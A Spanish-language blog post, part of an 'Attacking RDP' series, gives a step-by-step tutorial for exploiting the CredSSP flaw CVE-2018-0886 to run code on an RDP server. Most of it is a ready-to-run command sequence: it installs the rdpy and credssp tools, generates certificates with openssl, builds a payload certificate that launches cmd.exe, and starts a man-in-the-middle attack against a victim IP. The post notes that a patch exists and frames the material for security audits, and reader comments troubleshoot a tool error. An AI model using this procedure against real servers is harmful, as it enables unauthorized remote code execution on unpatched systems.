Atacando RDP – Parte III (Abusando de CredSSP)

Bienvenidos de nuevo a mi blog!

Hoy vamos a realizar una ejecución remota de código a través de la conexión a escritorio remoto, abusando de la última vulnerabilidad descubierta en el protocolo CredSSP de Microsoft.

Anteriormente pudimos ver cómo atacar a un cliente en Atacando RDP – Parte I (MitM con Seth) o cómo utilizar la conexión a escritorio remoto para conseguir un acceso al servidor en Atacando RDP – Parte II (Sticky Keys Hunter). Pues bien, hoy toca hacer algo diferente. Vamos a ejecutar código directamente en el servidor a través de la inyección de un payload en el propio certificado de autenticación.

Como podéis ver, esta técnica se parece mucho a la que utiliza Seth. La diferencia radica en que esta vez la víctima será el servidor y no el cliente. Esta vulnerabilidad está catalogada con el identificador CVE-2018-0886, aquí os dejo más información: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0886

Ahora que ya sabemos la teoría, vamos a por la parte práctica 🙂

Lo primero que haremos será descargar las herramientas necesarias:

git clone https://github.com/preempt/rdpy.git rdpy 
git clone https://github.com/preempt/credssp.git

A continuación instalaremos la herramienta que infectará el certificado:

cd credssp/install
sh install.sh

Seguimos con la instalación de la herramienta que hará el MiTM:

cd ../../rdpy
python setup.py install

Llegados a este punto, necesitaremos crear un certificado válido para poder inyectar el payload malicioso. Para ello utilizaremos los siguientes comandos en nuestra terminal:

openssl genrsa -out darkbyte.key 4096
openssl req -x509 -new -nodes -key darkbyte.key -days 3650 -out darkbyte.pem

Ahora crearemos un fichero de configuración, llamado openssl-ext.conf e introduciremos lo siguiente:

[client_server_ssl]
extendedKeyUsage = serverAuth,clientAuth

Y por último generamos el certificado final:

openssl genrsa -out darkbyte.key 4096
openssl req -new -key darkbyte.key -out darkbyte.csr 
openssl x509 -req -extensions client_server_ssl -extfile openssl-ext.conf -in darkbyte.csr -CA darkbyte.pem -CAkey darkbyte.key -CAcreateserial -out darkbyte.crt -days 3650

Ya lo tenemos todo listo, ahora vamos a preparar el certificado con el comando que queremos inyectar en el servidor. En este caso yo he decidido lanzar un símbolo del sistema en la víctima:

python credssp/bin/gen_cmd.py --dump -c darkbyte.crt -o exploit.pem -k darkbyte.key "cmd.exe"

Listo! Ya podemos lanzar el ataque. En este ejemplo yo lo he lanzado contra la IP 192.168.160.100:

python /usr/local/bin/rdpy-rdpcredsspmitm.py -k darkbyte.key -c exploit.pem ip-de-la-víctima

Si todo ha salido bien, aparecerá un símbolo del sistema en el servidor indicando que nuestro ataque ha sido realizado con éxito.

Recientemente Microsoft ha lanzado un parche para solucionar esta vulnerabilidad, pero aún existen muchos sistemas operativos vulnerables al ataque que hemos visto hoy.

A continuación os dejo un vídeo de los autores, en el que reproducen el ataque y explican cómo funciona:

Espero que os haya gustado y os resulte útil en vuestras próximas auditorías.

Nos vemos en la próxima!

 

2 thoughts on “Atacando RDP – Parte III (Abusando de CredSSP)

  1. i got this error after executing all commands :

    Length:
    964
    Tried 50 primes…
    Traceback (most recent call last):
    File «../credssp/bin/gen_cmd.py», line 182, in
    main()
    File «../credssp/bin/gen_cmd.py», line 178, in main
    genCertAndPriv(args.certFile,args.privFile,args.E,n,d)
    File «../credssp/bin/gen_cmd.py», line 125, in genCertAndPriv
    r = rsa.PrivateKey(n, e, d, p, q, exp1=e, exp2=e,coef=e)
    TypeError: __init__() got an unexpected keyword argument ‘exp2’

    any idea ?

    1. Hi! normally this happens when the certificate has not been generated correctly. Check that you have all the installed dependencies and that you are using exactly the commands that I have used. I hope been helpful, thanks for reading my blog 🙂

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *